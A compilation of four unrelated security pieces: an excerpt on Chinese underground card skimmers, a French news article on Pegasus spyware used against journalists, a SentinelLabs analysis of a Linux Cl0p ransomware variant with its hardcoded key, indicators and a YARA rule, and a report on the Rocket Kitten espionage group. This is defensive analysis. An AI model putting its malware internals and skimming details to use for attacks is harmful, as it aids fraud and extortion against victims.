adoption of electronic and mobile payment means. - **PoS skimmers**: Tampered PoS devices are sold to resellers who may or may not know that these devices are rigged. Some PoS skimmers come with an SMS-notification feature that allows the cybercriminal to access the stolen data remotely every time the device is used. - **ATM skimmers**: Commonly sold on B2B websites, these fraud-enabling devices allowed fraudsters to carry out bank fraud and actual theft. The devices have keypad overlays that are used to steal victims’ PINs. - **Pocket skimmers**: These small, unnoticeable magnetic card readers can store track data of up to 2,048 payment cards. They do not need to be physically connected to a computer or a power supply to work. All captured data can be downloaded onto a connected computer. Our paper, *Prototype Nation: The Chinese Cybercriminal Underground in 2015*, provides a closer look into the country's underground market and how it has kept up with events in the real world.
# De Rabat à Paris, le Maroc ne lâche pas les journalistes **Damien Leloup** Publié le 18 juillet 2021 à 18h00 - Mis à jour le 06 avril 2022 à 16h18 Les numéros de nombreux journalistes marocains ont été sélectionnés comme cibles potentielles dans le logiciel espion Pegasus. Des journalistes français, dont le fondateur de « Mediapart », Edwy Plenel, et une journaliste du « Monde », ont également été espionnés. Depuis la révélation par Amnesty International, en 2020, de l’infection du téléphone du journaliste marocain d’investigation Omar Radi par le logiciel espion Pegasus, les journalistes marocains indépendants se doutaient bien qu’ils pouvaient être ciblés, eux aussi, par le puissant programme de surveillance commercialisé par l’entreprise israélienne NSO Group. Les listes de numéros de téléphone sélectionnés comme des cibles potentielles dans l’outil de NSO par plusieurs de ses clients, que l’organisation Forbidden Stories et Amnesty International ont partagées avec dix-sept rédactions, dont Le Monde, confirment qu’un service de sécurité marocain a utilisé Pegasus pour viser, de manière systématique, des journalistes critiques du pouvoir, et des dirigeants des grandes rédactions du pays. Le numéro de Taoufik Bouachrine, directeur du journal Akhbar Al-Yaoum, qui purge actuellement une peine de quinze ans de prison pour viol, au terme d’un procès dénoncé comme entièrement politique par ses soutiens, a ainsi été entré comme cible potentielle dans le logiciel espion de NSO, ainsi que celui de sa femme. Les numéros d’au moins cinq des plaignantes dont les témoignages ont été utilisés contre lui durant son procès figurent également parmi les cibles potentielles de Pegasus. Une partie des quinze témoins à charge s’étaient rétractés avant le procès, affirmant avoir été contraintes par la police de produire de faux témoignages. Les numéros d’au moins deux plaignantes se trouvant dans ce cas ont été sélectionnés dans l’outil. Au-delà des cas précis d’Omar Radi et de Taoufik Bouachrine, ce sont tous les patrons de médias indépendants, ou presque, qui semblent avoir intéressé les services de renseignement marocains. Parmi leurs cibles potentielles, on trouve ainsi un des fondateurs du Desk, Ali Amar, ou celui du site Badil, Hamid El-Mahdaoui, condamné à trois ans de prison en 2018 pour sa « participation » au mouvement social du Rif, sévèrement réprimé. Les espions marocains ont également sélectionné pour surveillance potentielle un téléphone utilisé par Omar Brouksy, ancien correspondant de l’Agence France-Presse et auteur de deux livres critiques sur Mohammed VI et les relations franco-marocaines, *Mohammed VI. Derrière les masques* (éditions Nouveau Monde, 2014) et *La République de Sa Majesté. France-Maroc, liaisons dangereuses* (éditions Nouveau Monde, 2017), tous deux interdits de vente au Maroc. Notifié qu’il avait été une cible potentielle par Le Monde, le journaliste espagnol Ignacio Cembrero (Orient XXI) explique qu’il n’est « malheureusement pas étonné ». Il raconte qu’en juin un journal marocain a publié des informations issues d’une conversation WhatsApp qu’il avait tenue avec deux personnes, et dont il n’avait parlé à personne.
# Cl0p Ransomware Targets Linux Systems with Flawed Encryption **Executive Summary** SentinelLabs has observed the first Linux variant of Cl0p ransomware. The ELF executable contains a flawed encryption algorithm making it possible to decrypt locked files without paying the ransom. SentinelLabs has published a free decryptor for this variant. ## Background SentinelLabs observed the first ELF variant of Cl0p (also known as Clop) ransomware targeting Linux systems on the 26th of December 2022. The new variant is similar to the Windows variant, using the same encryption method and similar process logic. The mentioned sample appears to be part of a bigger attack that possibly occurred around the 24th of December against a University in Colombia. On the 5th of January, the cybercrime group leaked victim’s data on their onion page. ## ELF Technical Analysis The ELF Cl0p variant is developed in a similar logic to the Windows variant, though it contains small differences mostly attributed to OS differences such as API calls. It appears to be in its initial development phases as some functionalities present in the Windows versions do not currently exist in this new Linux version. A reason for this could be that the threat actor has not needed to dedicate time and resources to improve obfuscation or evasiveness due to the fact that it is currently undetected by all 64 security engines on VirusTotal. SentinelOne Singularity detects Cl0p ransomware on both Linux and Windows devices. Initially, the ransomware creates a new process by calling `fork` and exits the parent process. The child process sets its file mode creation mask to any permission (read, write, execute) by calling `umask(0)`. It then calls `setsid`, creates a session, and sets the process group ID. It tries to access root by changing the working directory to “/” (`chdir(“/”)`). Once the permissions are set, the ransomware proceeds encrypting other directories. ## Targeted Folders & Files While the Windows versions contain a hashing algorithm to avoid encrypting specific folders and files, such functionality was not observed in the Linux variant. The ELF variant targets specific folders, subfolders, and all files/types. The discovered ELF sample targets files contained in the following directories for encryption: - **/opt**: Contains subdirectories for optional software packages - **/u01**: Oracle Directory, mount point used for the Oracle software only. - **/u02**: Oracle Directory, used for the database files. - **/u03**: Oracle Directory, used for the database files. - **/u04**: Oracle Directory, used for the database files. - **/home**: Contains the home directory of each user. - **/root**: Contains the home directory of the root user. ## Encryption Flaw Windows versions of Cl0p ransomware use a Mersenne Twister PRNG (MT19937) to generate a 0x75 bytes size RC4 key for each file. This key is then validated (checks if the first five bytes are NULL) and used for file encryption. Then, by using the RSA public key, it encrypts the generated RC4 key and stores it to `$filename.$clop_extension`. Victims who pay the ransom demand receive a decryptor which decrypts the generated Cl0p file using the RSA private key, retrieves the generated RC4 key, and then decrypts the encrypted file. This core functionality is missing in the Linux variant. Instead, we discovered a flawed ransomware-encryption logic which makes it possible to retrieve the original files without paying for a decryptor. The Linux variant contains a hardcoded RC4 “master-key” which, during the execution of the main function, is copied into the global variable `szKeyKey`. **Sample’s RC4 “master-key”**: `Jfkdskfku2ir32y7432uroduw8y7318i9018urewfdsZ2Oaifwuieh~~cudsffdsd` During the file encryption phase, the ransomware generates a 0x75 bytes size RC4 key, using a lookup table and a PRNG byte. This generated RC4 key is used to encrypt the `mappedAddress` and write it back to the file. Then, by using the RC4 “master-key,” the ransomware encrypts the generated RC4 key and stores it to `$filename.$clop_extension`. By using a symmetric algorithm (second RC4) to “encrypt” the file’s RC4 key, we were able to take advantage of this flaw and decrypt Cl0p-ELF encrypted files. ### Cl0p-ELF Decryption Logic: 1. Retrieve RC4 “master-key”. 2. Read all `$filename.$clop_extension`. 3. Decrypt with RC4 using the RC4 “master-key” and the generated RC4 key. 4. Decrypt `$filename` with RC4 using the generated RC4 key. 5. Write decrypted to `$filename`. ## Developed Functions & Names In ELF binaries, the `.symtab`, Symbol Table Section, holds information needed to locate and relocate a program’s symbolic definitions and references, allowing us to retrieve function and global variable names. | Function Name | Description | |-----------------------|-------------| | `do_heartbeat(void)` | Main function which starts the encryption of various folders. | | `find(char *, const*)` | Multiple calls of this function are done by `do_heartbeat`; this function takes as parameters the starting folder to encrypt and regex of files to encrypt, performing a recursive search. | | `CreateRadMe(char *)` | This function takes as parameter the folder to create the ransom note. | | `EncrFile(char *)` | Encrypts given filepath. | | `existsFile(char *)` | Checks if file exists, or if the process has the permissions to open. | | `_rc4Full(void *, ushort, void *, ulong)` | Wrapper function to `_rc4Init` and `_rc4`, used to encrypt a buffer with a given key. | | `Createkey(char *, uchar *)` | Creates and writes into “%s.C_I_0P” the encrypted buffer. | ### Global Variables - **`szKeyKey`**: Global variable of 0x64 bytes size, initialized during the main function, containing the RC4 “master-key” which encrypts the “randomly” generated 0x75 bytes size RC4 key. ## Differences to Windows Variant Rather than simply port the Windows version of Cl0p directly, the authors have chosen to build bespoke Linux payloads. We understand this to be the primary reason for the lack of feature parity between the new Linux version and the far more established Windows variant. SentinelLabs expects future versions of the Linux variant to start eliminating those differences and for each updated functionality to be applied in both variants simultaneously. ### Differences: - **Files/Folders Exclusions**: The Windows variant contains a hashing algorithm which excludes specific folders and files from encryption. This functionality was not observed in the Linux variant. - **Extension Exclusions**: The Windows variant contains a hardcoded list of extensions to exclude from encryption. This functionality was not observed in the Linux variant. - **Different Methods of Reading/Writing**: The Windows variant uses different methods based on file size. The Linux variant encrypts all files using `mmap64/munmap`. - **Ransom Note Decryption**: The Windows variant stores the encrypted ransom note as a resource and decrypts it with a simple XOR algorithm. The Linux variant stores the note as plain text in “.rodata”. - **Drive Enumeration**: The Windows variant initially enumerates through drives to find the starting point to recursively encrypt folders. The Linux variant contains hardcoded “starting” folders. - **RC4 Default Key**: The Windows variant checks if the first 5 bytes of the PRNG RC4 Key are NULL; if so, it uses the default key for encryption. The Linux version does not perform this validation. ## Ransom Notes The Linux variant of Clop ransomware drops a ransom note on victim machines with a .txt format. This differs somewhat from the Windows .rtf ransom note, although both use the email addresses `unlock[@]support-mult.com` and `unlock[@]rsv-box.com` as ways for victims to contact the attackers. ## Conclusion Over the last twelve months, we have continued to observe the increased targeting of multiple platforms by individual ransomware operators or variants. The discovery of an ELF variant of Cl0p adds to the growing list of the likes of Hive, Qilin, Snake, Smaug, Qyick, and numerous others. We know that Cl0p operations have shown little if no slow-down since the disruption in June 2021. While the Linux-flavored variation of Cl0p is, at this time, in its infancy, its development and the almost ubiquitous use of Linux in servers and cloud workloads suggest that defenders should expect to see more Linux-targeted ransomware campaigns going forward. SentinelLabs continues to monitor the activity associated with Cl0p. SentinelOne Singularity protects against malicious artifacts and behaviors associated with Cl0p attacks including the ELF variant described in this post. ## Indicators of Compromise | IOC Type | IOC Value | |----------|-----------| | SHA1 | 46b02cc186b85e11c3d59790c3a0bfd2ae1f82a5 | | SHA1 | 40b7b386c2c6944a6571c6dcfb23aaae026e8e82 | | SHA1 | 4fa2b95b7cde72ff81554cfbddc31bbf77530d4d | | SHA1 | a1a628cca993f9455d22ca2c248ddca7e743683e | | SHA1 | a6e940b1bd92864b742fbd5ed9b2ef763d788ea7 | | SHA1 | ac71b646b0237b487c08478736b58f208a98eebf | | SHA1 | ba5c5b5cbd6abdf64131722240703fb585ee8b56 | | SHA1 | 77ea0fd635a37194efc1f3e0f5012a4704992b0e | | ELF | README_C_I_0P.TXT | | Win | !_READ_ME.RTF | | Cl0p | .C_I_0P | | Cl0p | unlock[@]support-mult.com | | Cl0p | unlock[@]rsv-box.com | | Cl0p | hxxp[:]//santat7kpllt6iyvqbr7q4amdv6dzrh6paatvyrzl7ry3zm72zigf4ad[.]onion | | Cl0p | hxxp[:]//6v4q5w7di74grj2vtmikzgx2tnq5eagyg2cubpcnqrvvee2ijpmprzqd[.]onion | ## YARA Rule ```yara rule ClopELF { meta: author = "@Tera0017/@SentinelLabs" description = "Temp Clop ELF variant yara rule based on $hash" hash = "09d6dab9b70a74f61c41eaa485b37de9a40c86b6d2eae7413db11b4e6a8256ef" strings: $code1 = {C7 45 ?? 00 E1 F5 05} $code2 = {81 7D ?? 00 E1 F5 05} $code3 = {C7 44 24 ?? 75 00 00 00} $code4 = {C7 44 24 ?? 80 01 00 00} $code5 = {C7 00 2E [3] C7 40 04} $code6 = {25 00 F0 00 00 3D 00 40 00 00} $code7 = {C7 44 24 04 [4] C7 04 24 [4] E8 [4] C7 04 24 FF FF FF FF E8 [4] C9 C3} condition: uint32(0) == 0x464c457f and all of them } ```
# Rocket Kitten Showing Its Claws: Operation Woolen-GoldFish and the GHOLE Campaign Rocket Kitten refers to a cyber threat group that has been hitting different public and private Israeli/European organizations. It has launched two campaigns so far: a malware campaign that exclusively makes use of GHOLE malware, as well as a targeted attack dubbed “Operation Woolen-GoldFish” that's possibly state-sponsored. GHOLE is a malware family that was discussed in the 31st Chaos Communication Congress of the Chaos Computer Club (31C3), during a lecture that tackled its ongoing involvement in targeted attacks. Based on the compilation date of its oldest samples, the malware is believed to have been active since 2011 and has been used by Rocket Kitten in their targeted attacks. Operation Woolen-GoldFish, on the other hand, is a cyber attack campaign that we suspect to be state-sponsored, or at the very least politically motivated. It has been attacking the following targets: - Civilian organizations in Israel - Academic organizations in Israel - German speaking government organizations - European government organizations - European private companies ## Background, Analysis, Findings ### GHOLE Malware Campaign In February 2015, we received an alert that involved an infected Excel file that, upon analysis, proved to be part of the GHOLE malware campaign, one of Rocket Kitten’s campaigns. The GHOLE malware campaign involves victims being sent spear-phishing emails with malicious attachments. The attachment is usually an Excel file that contains a malicious macro. When clicked, the Excel file drops a .DLL file that will then be executed by the malicious macro embedded in the Excel file. The Excel file is tailored to trick the user into running the macro. If the user does not enable the macro content, the .DLL file will not be executed. GHOLE is a malware family derived from a modified Core Impact product. Core Impact is a penetration-testing product made by Core Security, a legitimate company. Further analysis revealed that the GHOLE variants involved in the operation connect to C&C servers hosted mainly in Germany. The servers are registered under one customer by the name of Mehdi Mavadi. We are hesitant in attributing the attack to such an identity as the name itself is quite common, and that the customer’s servers may simply be compromised and being used as a proxy rather than actually providing infrastructure for the Rocket Kitten group. ### Operation Woolen-GoldFish Similar to the GHOLE malware campaign, Operation Woolen Goldfish involves spear-phishing emails embedded with a malicious link that leads to a OneDrive link. The link goes directly to a malicious file download. The malware payload was initially found to be a variant of GHOLE, but further samples led to the discovery of a new payload: a variant of a keylogger known as the CWoolger keylogger. It is detected as TSPY_WOOLERG.A. ## Possible Attribution Analyzing the malicious documents in the spear phishing emails of their Microsoft Office metadata, we narrowed down the suspects to one “Wool3n.H4t,” whose name appears in most of the document samples found as the last known modifier. His other accomplices include entities who go by the names “aikido1” and “Hoffman.” We looked deeper into the identity of Wool3n.H4t and discovered the following: - He may have been running an underground hacking blog under the same nickname, with the only two entries signed by “Masoud_pk.” - “Masoud_pk” may possibly be the true identity of Wool3n.H4.t. “Masoud” belongs in the top 500 commonly used first names in Iran. - A debug string found in the CWoolger keylogger code shows that the compiler is identified as Wool3n.H4T. ## Conclusion This report explores Rocket Kitten by analyzing the tools used to leverage its malicious activities. From our findings, we can definitely say that the threat actor team is alive and active, and while the tracks they left behind—as well as their use of macros—might make them seem a bit inexperienced, they are slowly improving and gaining traction. We are also able to confirm that Wool3n.H4T is not only responsible for most of the infecting Office documents used but also capable of developing malware. With all the evidence, Rocket Kitten’s attacks can be construed as politically motivated, as the targeted entities do share a particular interest in the Islamic Republic of Iran. While motives behind targeted attack campaigns differ, the end results are one and the same: a shift in power control either economically or politically.